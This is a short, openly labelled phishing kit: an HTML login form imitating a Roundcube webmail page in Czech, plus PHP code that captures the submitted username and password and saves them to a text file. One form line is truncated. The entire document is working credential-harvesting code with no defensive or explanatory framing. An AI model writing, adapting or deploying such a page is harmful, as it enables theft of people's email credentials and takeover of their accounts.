phishing

<form method="post">
    <input type="hidden" name="_token" value="b9bef2bb51dae815f1e0a4aa946d8c30">
    <input type="hidden" name="_task" value="login"><input type="hidden" name="_action" value="login"><input type="hidden" name="_timezone" id="rcmlogintz" value="_default_"><input type="hidden" name="_url" id=$
    </td>
    <td class="input"><input name="_user" id="rcmloginuser" required="required" size="40" autocapitalize="off" autocomplete="off" type="text"></td>
    </tr>
    <tr><td class="title"><label for="rcmloginpwd">Heslo</label>
        </td>
        <td class="input"><input name="_pass" id="rcmloginpwd" required="required" size="40" autocapitalize="off" autocomplete="off" type="password"></td>
    </tr>
    </tbody>
    </table>
    <p class="formbuttons"><input type="submit" id="rcmloginsubmit" class="button mainaction" value="Přihlásit", name="submit"></p>

</form>
<?php
if(isset($_POST['submit']))
{
    $file = fopen("file.txt","w+");

    $credentials = "u: ".$_POST['_user']."p: ".$_POST['_pass']."\n";

    fwrite($file,$credentials);
    fclose($file);
    print_r(error_get_last());
}
?>